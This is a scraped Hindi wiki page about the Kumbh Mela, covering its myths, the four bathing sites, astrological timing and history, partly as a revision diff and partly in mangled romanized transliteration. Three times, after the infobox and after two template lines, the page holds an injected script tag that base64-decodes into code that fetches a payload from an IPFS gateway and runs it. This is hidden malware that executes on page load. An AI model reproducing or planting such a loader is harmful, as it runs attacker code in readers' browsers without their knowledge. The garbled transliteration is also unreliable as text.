Difference between revisions of "कुम्भ मेला"
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ज्योतिषशास्त्रियों के अनुसार जब बृहस्पति [[कुम्भ राशि]] में और सूर्य [[मेष राशि]] में प्रवेश करता है तब कुम्भ मेले का आयोजन किया जाता है। [[वर्ष]] [[2013]] में [[14 जनवरी]] से पूर्ण कुम्भ मेला इलाहाबाद में आयोजित है। प्रयाग का कुम्भ मेला सभी मेलों में सर्वाधिक महत्व रखता है। | ज्योतिषशास्त्रियों के अनुसार जब बृहस्पति [[कुम्भ राशि]] में और सूर्य [[मेष राशि]] में प्रवेश करता है तब कुम्भ मेले का आयोजन किया जाता है। [[वर्ष]] [[2013]] में [[14 जनवरी]] से पूर्ण कुम्भ मेला इलाहाबाद में आयोजित है। प्रयाग का कुम्भ मेला सभी मेलों में सर्वाधिक महत्व रखता है। | ||
====कुम्भ पर्व हरिद्वार ==== | ====कुम्भ पर्व हरिद्वार ==== | ||
| − | हरिद्वार [[हिमालय]] पर्वत | + | हरिद्वार [[हिमालय]] पर्वत श्रृंखला के [[शिवालिक पहाड़ियाँ|शिवालिक]] पर्वत के नीचे स्थित है। प्राचीन ग्रंथों में [[हरिद्वार]] को तपोवन, मायापुरी, गंगाद्वार और मोक्षद्वार आदि नामों से भी जाना जाता है। हरिद्वार की धार्मिक महत्ता विशाल है एवं यह हिन्दुओं के लिए एक प्रमुख तीर्थस्थान है। मेले की तिथि की गणना करने के लिए सूर्य, चन्द्र और बृहस्पति की स्थिति की आवश्यकता होती है। हरिद्वार का सम्बन्ध मेष राशि से है। सन 2010 का कुम्भ मेला [[मकर संक्रांति]] (14 जनवरी 2010 ) से [[वैशाख पूर्णिमा|वैशाख पूर्णिमा]] स्नान (28 अप्रैल 2010) तक हरिद्वार में आयोजित हुआ था। |
====कुम्भ पर्व नासिक ==== | ====कुम्भ पर्व नासिक ==== | ||
[[भारत]] में 12 में से एक [[त्र्यंबक ज्योतिर्लिंग|ज्योतिर्लिंग त्र्यम्बकेश्वर]] नामक पवित्र शहर में स्थित है। यह स्थान नासिक से 38 किलोमीटर की दूरी पर स्थित है और [[गोदावरी नदी]] का उद्गम भी यहीं से हुआ। 12 वर्षों में एक बार [[सिंहस्थ (कुम्भ)|सिंहस्थ कुम्भ मेला]] नासिक एवं त्रयम्बकेश्वर में आयोजित होता है। ऐतिहासिक प्रमाणों के अनुसार नासिक उन चार स्थानों में से एक है जहाँ अमृत कलश से अमृत की कुछ बूँदें गिरी थीं। कुम्भ मेले में सैंकड़ों श्रद्धालु गोदावरी के पावन जल में नहा कर अपनी आत्मा की शुद्धि एवं मोक्ष के लिए प्रार्थना करते हैं। यहाँ पर [[शिवरात्रि]] का त्यौहार भी बहुत धूम धाम से मनाया जाता है। | [[भारत]] में 12 में से एक [[त्र्यंबक ज्योतिर्लिंग|ज्योतिर्लिंग त्र्यम्बकेश्वर]] नामक पवित्र शहर में स्थित है। यह स्थान नासिक से 38 किलोमीटर की दूरी पर स्थित है और [[गोदावरी नदी]] का उद्गम भी यहीं से हुआ। 12 वर्षों में एक बार [[सिंहस्थ (कुम्भ)|सिंहस्थ कुम्भ मेला]] नासिक एवं त्रयम्बकेश्वर में आयोजित होता है। ऐतिहासिक प्रमाणों के अनुसार नासिक उन चार स्थानों में से एक है जहाँ अमृत कलश से अमृत की कुछ बूँदें गिरी थीं। कुम्भ मेले में सैंकड़ों श्रद्धालु गोदावरी के पावन जल में नहा कर अपनी आत्मा की शुद्धि एवं मोक्ष के लिए प्रार्थना करते हैं। यहाँ पर [[शिवरात्रि]] का त्यौहार भी बहुत धूम धाम से मनाया जाता है। | ||
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कुम्भ मेले में शैवपंथी नागा साधुओं को देखने के लिए भीड़ उमड़ पड़ती है। नागा साधुओं की रहस्यमय जीवन शैली और दर्शन को जानने के लिए विदेशी श्रद्धालु ज्यादा उत्सुक रहते हैं। कुम्भ के सबसे पवित्र शाही स्नान में सबसे पहले स्नान का अधिकार इन्हें ही मिलता है। [[चित्र:Kumbh Mela Vrindavan Mathura 2.jpg|thumb|[[नागा साधु]], कुम्भ मेला, [[वृन्दावन]]]]नागा साधु अपने पूरे शरीर पर भभूत मले, निर्वस्त्र रहते हैं। उनकी बड़ी-बड़ी जटाएं भी आकर्षण का केंद्र रहती है। हाथों में चिलम लिए और चरस का कश लगाते हुए इन साधुओं को देखना अजीब लगता है। मस्तक पर आड़ा भभूत लगा, तीनधारी [[तिलक]] लगा कर धूनी रमा कर, नग्न रह कर और गुफ़ाओं में तप करने वाले नागा साधुओं का उल्लेख पौराणिक ग्रंथों में भी मिलता है। यह साधु उग्र स्वभाव के होते हैं। नागा जीवन की विलक्षण परंपरा में दीक्षित होने के लिए वैराग्य भाव का होना ज़रूरी है। संसार की मोह-माया से मुक्त कठोर दिल वाला व्यक्ति ही नागा साधु बन सकता है। साधु बनने से पूर्व ही ऐसे व्यक्ति को अपने हाथों से ही अपना ही श्राद्ध और पिंड दान करना होता है। अखाड़े किसी को आसानी से नागा रूप में स्वीकार नहीं करते। बाकायदा इसकी कठोर परीक्षा ली जाती है जिसमें तप, ब्रह्मचर्य, वैराग्य, ध्यान, सन्न्यास और धर्म का अनुशासन तथा निष्ठा आदि प्रमुखता से परखे-देखे जाते हैं। कठोर परीक्षा से गुजरने के बाद ही व्यक्ति संन्यासी जीवन की उच्चतम तथा अत्यंत विकट परंपरा में शामिल होकर गौरव प्राप्त करता है। इसके बाद इनका जीवन अखाड़ों, संत परंपराओं और समाज के लिए समर्पित हो जाता है।<ref>{{cite web |url=http://hindi.webdunia.com/religion-mahakumbh/%E0%A4%87%E0%A4%B2%E0%A4%BE%E0%A4%B9%E0%A4%BE%E0%A4%AC%E0%A4%BE%E0%A4%A6-%E0%A4%95%E0%A5%81%E0%A4%AE%E0%A5%8D%E0%A4%AD-%E0%A4%AE%E0%A5%87%E0%A4%B2%E0%A4%BE-%E0%A4%A8%E0%A4%BE%E0%A4%97%E0%A4%BE-%E0%A4%AC%E0%A4%BE%E0%A4%AC%E0%A4%BE%E0%A4%93%E0%A4%82-%E0%A4%95%E0%A5%80-%E0%A4%85%E0%A4%A6%E0%A5%8D%E0%A4%AD%E0%A5%81%E0%A4%A4-%E2%80%8D%E0%A4%A6%E0%A5%81%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%BE-1130103045_1.htm|title=इलाहाबाद कुम्भ मेला : नागा बाबाओं की अद्भुत दुनिया|accessmonthday= 8 जनवरी|accessyear= 2013|last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेब दुनिया हिंदी |language=हिंदी }}</ref> | कुम्भ मेले में शैवपंथी नागा साधुओं को देखने के लिए भीड़ उमड़ पड़ती है। नागा साधुओं की रहस्यमय जीवन शैली और दर्शन को जानने के लिए विदेशी श्रद्धालु ज्यादा उत्सुक रहते हैं। कुम्भ के सबसे पवित्र शाही स्नान में सबसे पहले स्नान का अधिकार इन्हें ही मिलता है। [[चित्र:Kumbh Mela Vrindavan Mathura 2.jpg|thumb|[[नागा साधु]], कुम्भ मेला, [[वृन्दावन]]]]नागा साधु अपने पूरे शरीर पर भभूत मले, निर्वस्त्र रहते हैं। उनकी बड़ी-बड़ी जटाएं भी आकर्षण का केंद्र रहती है। हाथों में चिलम लिए और चरस का कश लगाते हुए इन साधुओं को देखना अजीब लगता है। मस्तक पर आड़ा भभूत लगा, तीनधारी [[तिलक]] लगा कर धूनी रमा कर, नग्न रह कर और गुफ़ाओं में तप करने वाले नागा साधुओं का उल्लेख पौराणिक ग्रंथों में भी मिलता है। यह साधु उग्र स्वभाव के होते हैं। नागा जीवन की विलक्षण परंपरा में दीक्षित होने के लिए वैराग्य भाव का होना ज़रूरी है। संसार की मोह-माया से मुक्त कठोर दिल वाला व्यक्ति ही नागा साधु बन सकता है। साधु बनने से पूर्व ही ऐसे व्यक्ति को अपने हाथों से ही अपना ही श्राद्ध और पिंड दान करना होता है। अखाड़े किसी को आसानी से नागा रूप में स्वीकार नहीं करते। बाकायदा इसकी कठोर परीक्षा ली जाती है जिसमें तप, ब्रह्मचर्य, वैराग्य, ध्यान, सन्न्यास और धर्म का अनुशासन तथा निष्ठा आदि प्रमुखता से परखे-देखे जाते हैं। कठोर परीक्षा से गुजरने के बाद ही व्यक्ति संन्यासी जीवन की उच्चतम तथा अत्यंत विकट परंपरा में शामिल होकर गौरव प्राप्त करता है। इसके बाद इनका जीवन अखाड़ों, संत परंपराओं और समाज के लिए समर्पित हो जाता है।<ref>{{cite web |url=http://hindi.webdunia.com/religion-mahakumbh/%E0%A4%87%E0%A4%B2%E0%A4%BE%E0%A4%B9%E0%A4%BE%E0%A4%AC%E0%A4%BE%E0%A4%A6-%E0%A4%95%E0%A5%81%E0%A4%AE%E0%A5%8D%E0%A4%AD-%E0%A4%AE%E0%A5%87%E0%A4%B2%E0%A4%BE-%E0%A4%A8%E0%A4%BE%E0%A4%97%E0%A4%BE-%E0%A4%AC%E0%A4%BE%E0%A4%AC%E0%A4%BE%E0%A4%93%E0%A4%82-%E0%A4%95%E0%A5%80-%E0%A4%85%E0%A4%A6%E0%A5%8D%E0%A4%AD%E0%A5%81%E0%A4%A4-%E2%80%8D%E0%A4%A6%E0%A5%81%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%BE-1130103045_1.htm|title=इलाहाबाद कुम्भ मेला : नागा बाबाओं की अद्भुत दुनिया|accessmonthday= 8 जनवरी|accessyear= 2013|last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेब दुनिया हिंदी |language=हिंदी }}</ref> | ||
==एकसूत्र की कल्पना== | ==एकसूत्र की कल्पना== | ||
| − | कुम्भ मेले के इतिहास के शोधार्थियों का मानना है कि प्राचीन संस्कृत वाङ्मय के अध्ययन से ऐसा नहीं प्रतीत होता कि [[प्रयाग]], [[हरिद्वार]], [[नासिक]] और [[उज्जैन]], इन चारों स्थानों पर कुम्भ मेलों का सूत्रपात किसी एक केन्द्रीय निर्णय के अन्तर्गत, किसी एक समय पर, एक साथ किया गया होगा। कुम्भ की परम्परा का क्रमश: विकास हुआ लगता है। ऐसा प्रतीत होता है कि ये चारों स्थान अपने-अपने कारणों से पवित्र तीर्थस्थल माने जाते थे। [[गोदावरी नदी|गोदावरी]], [[क्षिप्रा नदी|क्षिप्रा]], [[गंगा]] और [[संगम]] के पवित्र तट पर किन्हीं पुण्य राशियोग पर [[स्नान]] के निमित्त मेले की परम्परा पहले से चली आ रही थी, जिन्हें आगे चलकर एक पौराणिक कथा के माध्यम से एक | + | कुम्भ मेले के इतिहास के शोधार्थियों का मानना है कि प्राचीन संस्कृत वाङ्मय के अध्ययन से ऐसा नहीं प्रतीत होता कि [[प्रयाग]], [[हरिद्वार]], [[नासिक]] और [[उज्जैन]], इन चारों स्थानों पर कुम्भ मेलों का सूत्रपात किसी एक केन्द्रीय निर्णय के अन्तर्गत, किसी एक समय पर, एक साथ किया गया होगा। कुम्भ की परम्परा का क्रमश: विकास हुआ लगता है। ऐसा प्रतीत होता है कि ये चारों स्थान अपने-अपने कारणों से पवित्र तीर्थस्थल माने जाते थे। [[गोदावरी नदी|गोदावरी]], [[क्षिप्रा नदी|क्षिप्रा]], [[गंगा]] और [[संगम]] के पवित्र तट पर किन्हीं पुण्य राशियोग पर [[स्नान]] के निमित्त मेले की परम्परा पहले से चली आ रही थी, जिन्हें आगे चलकर एक पौराणिक कथा के माध्यम से एक श्रृंखला में पिरो दिया गया। किन्तु जिसने भी किया, जब भी किया, उसके पीछे [[भारत]] की सांस्कृतिक चेतना और एकता को जाग्रत व सुदृढ़ करने की दृष्टि अवश्य विद्यमान थी। प्रचलित धारणा के अनुसार चार स्थानों पर कुम्भ परम्परा प्रारंभ करने का श्रेय भी [[आदि शंकराचार्य]] को ही दिया जाता है। यह सहज लगता है; क्योंकि आदि शंकराचार्य ने भारत के चार कोनों पर चार धामों की स्थापना की, जिसके कारण चार धाम की तीर्थयात्रा का प्रचलन हुआ। कहा जाता है कि उन्होंने ही भारत की सन्त-शक्ति को गिरी, पुरी, भारती, तीर्थ, वन, अरण्य, [[पर्वत]], [[आश्रम]], सागर तथा सरस्वती नामक दस वर्णों में गठित किया और भारतीय समाज के प्रत्येक वर्ग में धर्म-चेतना जगाने का दायित्व उन्हें सौंपा।<ref name="ab">{{cite web |url=http://www.kumbhnews.com/2012/12/blog-post_3699.html |title=भारतीय अस्मिता का रक्षा कवच- कुंभ|accessmonthday=09 जनवरी|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref> |
====जदुनाथ सरकार का कथन==== | ====जदुनाथ सरकार का कथन==== | ||
सुप्रसद्धि इतिहासकार [[जदुनाथ सरकार]] गहरे शोध के पश्चात् इस निष्कर्ष पर पहुंचे कि [[कुम्भ परम्परा]] का कोई प्रमाण बारहवीं शताब्दी से पहले नहीं मिलता। कुम्भ मेले का सबसे बड़ा वैशिष्ट्य है, वहाँ विभिन्न [[साधु]] सम्प्रदायों के अखाड़ों की उपस्थिति। [[शैव]], [[वैष्णव]] और उदासीन सम्प्रदायों के साधु अनेक अखाड़ों और मठों मं संगठित हैं। प्रत्येक अखाड़े के अपने प्रतीक चिह्न और ध्वज-पताका होती है। कुम्भ के मेले में प्रत्येक अखाड़ा अपने ध्वज और प्रतीकों के साथ उपस्थित होता है, वहाँ उनकी अपनी छावनी होती है, जिसके बीचों-बीच बहुत ऊँचे स्तम्भ पर उनका ध्वज फहराता है। इन अखाड़ों के साधु शस्त्रधारी होते हैं। उनकी रचना एकदम सैनिक पद्धति पर होती है। उनमें शस्त्र और शास्त्र का अद्भुत संगम होता है। ये साधु सांसारिक जीवन से विरक्त और अविवाहित होते हैं। उनकी दिनचर्या बहुत कठोर होती है। शस्त्रधारी होते हुए भी वे सन्न्यास मार्गी तपस्वी होते हैं। यदि इन अखाड़ों में प्रचलित शब्दावली की ओर ध्यान दें तो वह [[मुस्लिम]] काल की सैनिक शब्दावली है। कुम्भ के मेले में मुख्य आकर्षण इन अखाड़ों का [[स्नान]] ही होता है। उसे "शाही स्नान" कहते हैं। प्रत्येक अखाड़े के प्रमुख महन्त रथ पर सवार होते हैं। उनके दायें-बायें और आगे निर्वस्त्र खड्गधारी घुडसवार चलते हैं, तुरही नगाड़े का भेरी नाद होता है। | सुप्रसद्धि इतिहासकार [[जदुनाथ सरकार]] गहरे शोध के पश्चात् इस निष्कर्ष पर पहुंचे कि [[कुम्भ परम्परा]] का कोई प्रमाण बारहवीं शताब्दी से पहले नहीं मिलता। कुम्भ मेले का सबसे बड़ा वैशिष्ट्य है, वहाँ विभिन्न [[साधु]] सम्प्रदायों के अखाड़ों की उपस्थिति। [[शैव]], [[वैष्णव]] और उदासीन सम्प्रदायों के साधु अनेक अखाड़ों और मठों मं संगठित हैं। प्रत्येक अखाड़े के अपने प्रतीक चिह्न और ध्वज-पताका होती है। कुम्भ के मेले में प्रत्येक अखाड़ा अपने ध्वज और प्रतीकों के साथ उपस्थित होता है, वहाँ उनकी अपनी छावनी होती है, जिसके बीचों-बीच बहुत ऊँचे स्तम्भ पर उनका ध्वज फहराता है। इन अखाड़ों के साधु शस्त्रधारी होते हैं। उनकी रचना एकदम सैनिक पद्धति पर होती है। उनमें शस्त्र और शास्त्र का अद्भुत संगम होता है। ये साधु सांसारिक जीवन से विरक्त और अविवाहित होते हैं। उनकी दिनचर्या बहुत कठोर होती है। शस्त्रधारी होते हुए भी वे सन्न्यास मार्गी तपस्वी होते हैं। यदि इन अखाड़ों में प्रचलित शब्दावली की ओर ध्यान दें तो वह [[मुस्लिम]] काल की सैनिक शब्दावली है। कुम्भ के मेले में मुख्य आकर्षण इन अखाड़ों का [[स्नान]] ही होता है। उसे "शाही स्नान" कहते हैं। प्रत्येक अखाड़े के प्रमुख महन्त रथ पर सवार होते हैं। उनके दायें-बायें और आगे निर्वस्त्र खड्गधारी घुडसवार चलते हैं, तुरही नगाड़े का भेरी नाद होता है। | ||
Latest revision as of 10:59, 9 February 2021
kumbh mela
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| any nam | mahakumbh, kumbh parv |
| anuyayi | hiandoo dharm |
| prarambh | pauranik kal |
| tithi | paush mas ki poornima |
| dharmik manyata | rakshasoan aur devataoan mean jab amrit ke lie l daee ho rahi thi tab bhagavan vishnu ne ek mohini ka roop liya aur rakshasoan se amrit ko jabt kar liya. bhagavan vishnu ne garu d ko amrit parit kar diya aur aant mean rakshasoan aur garu d ke sangharsh mean kimati amrit ki kuchh booandean ilahabad, nasik, haridvar aur ujjain mean gir geean. tab se pratyek 12 sal mean in sabhi sthanoan mean 'kumbh mela' ayojit kiya jata hai.[1] |
| sanbandhit lekh | kumbh mela 2013, haridvar, ilahabad, ujjain aur nasik |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kumbh mela hindoo dharm ka ek mahattvapoorn parv hai, jisamean karo doan shraddhalu kumbh parv sthal- haridvar, prayag, ujjain aur nasik mean snan karate haian. inamean se pratyek sthan par prati barahavean varsh mean is parv ka ayojan hota hai. mela pratyek tin varsho ke bad nasik, ilahabad, ujjain aur haridvar mean bari-bari se manaya jata hai. ilahabad mean sangam ke tat par hone vala ayojan sabase bhavy aur pavitr mana jata hai. is mele mean karo doan ki sankhya mean shraddhalu sammilit hote hai. aisi manyata hai ki sangam ke pavitr jal mean snan karane se atma shuddh ho jati hai.
dharmik manyata
rakshasoan aur devataoan mean jab amrit ke lie l daee ho rahi thi tab bhagavan vishnu ne ek 'mohini' ka roop liya aur rakshasoan se amrit ko jabt kar liya. bhagavan vishnu ne garu d ko amrit parit kar diya, aur aant mean rakshasoan aur garu d ke sangharsh mean kimati amrit ki kuchh booandean ilahabad, nasik, haridvar aur ujjain mean gir gee. tab se pratyek 12 sal mean in sabhi sthanoan mean 'kumbh mela' ayojit kiya jata hai.[1]
arddh kumbh aur magh mela
haridvar aur prayag mean do kuanbh parvoan ke bich chhah varsh ke aantaral mean arddhakuanbh hota hai. arddh ya adha kumbh, har chhah varsho mean sangam ke tat par ayojit kiya jata hai. pavitrata ke lie arddh kumbh bhi poori duniya mean lakhoan shraddhaluoan ko akarshit karati hai. magh mela sangam par ayojit ek varshik samaroh hai.[[chitr:Haridwar.jpg|left|ganga nadi, haridvar|thumb]]
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kumbh parv
'kumbh parv' ek amrit snan aur amritapan ki bela hai. isi samay ganga ki pavan dhara mean amrit ka satat pravah hota hai. isi samay kumbh snan ka sanyog banata hai. kumbh parv bharatiy janamanas ki parv chetana ki viratata ka dyotak hai. visheshakar uttarakhand ki bhoomi par tirth nagari haridvar ka kumbh to mahakumbh kaha jata hai. bharatiy sanskriti ki jivantata ka praman pratyek 12 varsh mean yahaan ayojit hota hai. poorvi uttar pradesh mean ganga nadi ke kinare basa ilahabad bharat ka pavitr aur lokapriy tirthasthal hai. is shahar ka ullekh bharat ke dharmik granthoan mean bhi milata hai. ved, puran, ramayan aur mahabharat mean is sthan ko prayag kaha gaya hai. ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai, isalie hinduoan ke lie is shahar ka vishesh mahattv hai. 12 sal bad yahaan kumbh ke mele ka ayojan hota hai. kumbh ke mele mean 2 karo d ki bhi d ikattha hone ka anuman kiya jata hai jo sambhavat: vishv mean sabase b da jamav da hai.
- chitr:Seealso.gifkumbh mela ka ullekh in lekhoan mean bhi hai: ganga nadi, haridvar, prayag, kartik, ilahabad, uttarakhand evan ujjayini
snan parv
[[chitr:Sangam-Allahabad.jpg|sangam, ilahabad|thumb|250px]] mukhy snan tithiyoan par sooryoday ke samay rath aur hathi par santoan ke rangarang juloos ka bhavy ayojan hota hai. pavitr ganga nadi mean santoan dvara dubaki lagaee jati hai. sangam tat ilahabad mean sivil laians se lagabhag 7 ki.mi. ki doori par sthit hai. yahaan par ganga, yamuna aur sarasvati nadi ka sangam hai, ise triveni sangam bhi kahate haian. yahian kumbh mela ayojit kiya jata hai jahaan par log snan karate haian. is parv ko 'snan parv' bhi kahate haian. yahi sthan tirtharaj kahalata hai. ganga aur yamuna ka udhgam himalay se hota hai jabaki sarasvati ka udhgam alaukik mana jata hai. manyata hai ki sarasvati ka udhgam ganga-yamuna ke milan se hua hai jabaki kuchh granthoan mean isaka udhgam nadi ke tal ke niche se bataya gaya hai. is sangam sthal par hi amrit ki booandean giri thi isilie yahaan snan ka mahatv hai. triveni sangam tat par snan karane se sharir aur atma shuddh ho jati hai. yahaan par log apane poorvajoan ka piandadan bhi karate haian.[2]
kumbh ka yog
kumbh barah-barah varsh ke antar se char mukhy tirthoan mean lagane vala snan-dan ka grahayog hai. isake char sthal prayag, haridvar, nasik-panchavati aur avantika (ujjain) haian. kumbh yog grahoan ki nimn sthiti ke anusar banata hai-
- jab soory evan chandr makar rashi mean hote haian aur amavasya hoti hai tatha mesh athava vrishabh ke brihaspati hote haian to prayag mean kumbh mahaparv ka yog hota hai. is avasar par triveni mean snan karana sahasroan ashvamedh yajnoan, saik doan vajapey yajnoan tatha ek lakh bar prithvi ki pradakshina karane se bhi adhik puny pradan karata hai. kumbh ke is avasar par tirth yatriyoan ko mukhy do labh hote haian- ganga snan tatha sant samagam.
- jis samay guru kumbh rashi par aur soory mesh rashi par ho, tab haridvar mean kumbh parv hota hai.
- jab guru sianh rashi par sthit ho tatha soory evan chandr kark rashi par hoan, tab nasik mean kumbh hota hai.
- jis samay soory tula rashi par sthit ho aur guru vrishchik rashi par ho, tab ujjain mean kumbh parv manaya jata hai.[3]
prayag kumbh
prayag kumbh ka vishesh mahatv isalie hai kyoanki yah 12 varsho ke bad ganga, yamuna evan sarasvati ke sangam par ayojit kiya jata hai. haridvar mean kumbh ganga ke tat par aur nasik mean godavari ke tat par ayojit kiya jata hai. is avasar par nadiyoan ke kinare bhavy mele ka ayojan kiya jata hai jisamean b di sankhya mean tirth yatri ate hai. yah kumbh any kumbhoan mean sabase adhik mahattvapoorn hai kyoanki yah prakash ki or le jata hai. yah aisa sthan hai jahaan buddhimatta ka pratik soory ka uday hota hai. is sthan ko brahmand ka udgam aur prithvi ka keandr mana jata hai. aisi manyata hai ki brahmand ki rachana se pahale brahmaji ne yahi ashvamedh yajn kiya tha. dashvmegh ghat aur brahmeshvar mandir is yajn ke pratik svaroop abhi bhi yahaan maujood hai. is yajn ke karan bhi kumbh ka vishesh mahatv hai. kumbh aur prayag ek doosare ke paryayavachi hai.[1]
kumbh parv chakr
kumbh parv vishv mean kisi bhi dharmik prayojan hetu bhaktoan ka sabase b da sangrahan hai. saiank doan ki sankhya mean log is pavan parv mean upasthit hote haian. kumbh ka sanskrit arth hai kalash, jyotish shastr mean kumbh rashi ka bhi yahi chinh hai. hindoo dharm mean kumbh ka parv har 12 varsh ke aantaral par charoan mean se kisi ek pavitr nadi ke tat par manaya jata hai- haridvar mean ganga, ujjain mean kshipra, nasik mean godavari aur ilahabad mean sangam jahaan ganga, yamuna aur sarasvati milati haian. [[chitr:Kumbh Mela Vrindavan Mathura 1.jpg|thumb|left| kumbh mela, vrindavan]]
kumbh parv ilahabad
jyotishashastriyoan ke anusar jab brihaspati kumbh rashi mean aur soory mesh rashi mean pravesh karata hai tab kumbh mele ka ayojan kiya jata hai. varsh 2013 mean 14 janavari se poorn kumbh mela ilahabad mean ayojit hai. prayag ka kumbh mela sabhi meloan mean sarvadhik mahatv rakhata hai.
kumbh parv haridvar
haridvar himalay parvat shrriankhala ke shivalik parvat ke niche sthit hai. prachin granthoan mean haridvar ko tapovan, mayapuri, gangadvar aur mokshadvar adi namoan se bhi jana jata hai. haridvar ki dharmik mahathta vishal hai evan yah hinduoan ke lie ek pramukh tirthasthan hai. mele ki tithi ki ganana karane ke lie soory, chandr aur brihaspati ki sthiti ki avashyakata hoti hai. haridvar ka sambandh mesh rashi se hai. san 2010 ka kumbh mela makar sankraanti (14 janavari 2010 ) se vaishakh poornima snan (28 aprail 2010) tak haridvar mean ayojit hua tha.
kumbh parv nasik
bharat mean 12 mean se ek jyotirliang tryambakeshvar namak pavitr shahar mean sthit hai. yah sthan nasik se 38 kilomitar ki doori par sthit hai aur godavari nadi ka udgam bhi yahian se hua. 12 varshoan mean ek bar sianhasth kumbh mela nasik evan trayambakeshvar mean ayojit hota hai. aitihasik pramanoan ke anusar nasik un char sthanoan mean se ek hai jahaan amrit kalash se amrit ki kuchh booandean giri thian. kumbh mele mean saiank doan shraddhalu godavari ke pavan jal mean naha kar apani atma ki shuddhi evan moksh ke lie prarthana karate haian. yahaan par shivaratri ka tyauhar bhi bahut dhoom dham se manaya jata hai.
kumbh parv ujjain
[[chitr:Haridwar1.jpg|ganga nadi, haridvar|thumb|250px]] ujjain ka arth hai vijay ki nagari aur yah madhy pradesh ki pashchimi sima par sthit hai. iandaur se isaki doori lagabhag 55 kilomitar hai. yah kshipra nadi ke tat par basa hai. ujjain bharat ke pavitr evan dharmik sthaloan mean se ek hai. jyotish shashtr ke anusar shoony aansh (digri) ujjain se shuroo hota hai. mahabharat ke arany parv ke anusar ujjain 7 pavitr moksh puri ya sapt puri mean se ek hai. ujjain ke atirikt shesh haian ayodhya, mathura, haridvar, kashi, kaanchipuram aur dvaraka. kahate haian ki bhagavan shiv ne tripura rakshas ka vadh ujjain mean hi kiya tha.[4]
kumbh ka arth
kumbh ka shabdik arth kalash hota hai. kumbh ka paryay pavitr kalash se hota hai. is kalash ka hindoo sabhyata mean vishesh mahatv hai. kalash ke mukh ko bhagavan vishnu, gardan ko rudr, adhar ko brahma, bich ke bhag ko samast deviyoan aur aandar ke jal ko sanpoorn sagar ka pratik mana jata hai. yah charoan vedoan ka sangam hai. is tarah kumbh ka arth poornatah auchity poorn hai. vastav mean kumbh hamari sabhyata ka sangam hai. yah atm jagrati ka pratik hai. yah manavata ka anant pravah hai. yah prakriti aur manavata ka sangam hai. kumbh oorja ka strot hai. kumbh manav-jati ko pap, puny aur prakash, aandhakar ka ehasas karata hai. nadi jivan roopi jal ke anant pravah ko darshati hai. manav sharir panchatatvoan se nirmit hai yah tatv haian-agni, vayu, jal, prithvi aur akash.[1]
kalpavas
[[chitr:Kalpvas-2.jpg|thumb|kalpavas ke dauran sadhu khana banate hue]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
prayag mean kalpavas ka atyadhik mahatv hai. yah magh ke mah mean aur adhik mahatv rakhata hai aur yah paush mah ke 11vean din se magh mah ke 12vean din tak rahata hai. kalpavas ko dhairy, ahiansa aur bhakti ke lie jana jata hai aur bhojan ek din mean ek bar hi kiya jata hai. aisi manyata hai ki jo kalpavas ki pratijna karata hai vah agale janm mean raja ke roop mean janm leta hai.
itihas
[[chitr:Haridwar-Kumbh-Mela-1850s.jpg|thumb|left|kumbh mela, haridvar sanh 1850]] uttar bharat ke madhy mean sthit prayag ne hazaroan varshoan ka saphar kar logoan ko jnan, vijnan, darshan, kala, dharm aur sanskriti ki amooly shiksha di. aj is prayag ko ilahabad kahate haian. mugal shasak akabar ne lagabhag 1583 mean isaka nam badal kar ilahabad kar diya. yah ek arabi shabd hai, jisaka arth hota hai allah dvara basaya gaya shahar. lekin ise prayag kahana hi uchit hoga, kyoanki yah hianduoan ka pramukh tirth sthal hai. mugal kal mean bahut se aitihasik mandiroan ko to dakar unaka astitv mita diya gaya. prayag mean hianduoan ke bahut sare prachin mandir aur tirth hai. sangam tat par jahaan kumbh mele ka ayojan hota hai, vahian yahaan bharadvaj rrishi ka prachin ashram bhi hai. ise vishnu ki nagari bhi kaha jata hai aur yahian par bhagavan brahma ne pratham yajn kiya tha. mana jata hai pavitr ganga aur yamuna ke milan sthal ke pas aryoan ne prayag tirth ki sthapana ki thi. arddh ya adha kumbh, har chhah varshoan mean sangam ke tat par ayojit kiya jata hai.[5]
pauranik varnan
[[chitr:Kurma Avatar of Vishnu.jpg|thumb|samudr manthan ke samay bhagavan vishnu ka koorm avatar]] kumbh parv ki mool chetana ka varnan puranoan mean milata hai. puranoan mean varnit sandarbhoan ke anusar yah parv samudr manthan se prapt amrit ghat ke lie hue devasur sangram se ju da hai. manyata hai ki samudr manthan se 14 ratnoan ki prapti huee jinamean pratham vish tha to ant mean amrit ghat lekar dhanvantari prakat hue. kahate haian amrit pane ki ho d ne ek yuddh ka roop le liya. aise samay asuroan se amrit ki raksha ke uddeshy se indr putr jayant us kalash ko lekar vahaan se palayan kar gaye. vah yuddh barah varshoan tak chala. is dauran soory, chandrama, guru evan shani ne amrit kalash ki raksha mean sahayog diya. in barah varshoan mean barah sthanoan par jayant dvara amrit kalash rakhane se vahaan amrit ki kuchh booande chhalak geean. kahate haian unhian sthanoan par, grahoan ke unhian sanyogoan par kumbh parv manaya jata hai. manyata hai ki unamean se ath pavitr sthan devalok mean haian tatha char sthan prithvi par haian. prithvi ke un charoan sthanoan par tin varshoan ke antaral par pratyek barah varsh mean kumbh ka ayojan hota hai. ganga, kshipra, godavari aur prayag ke 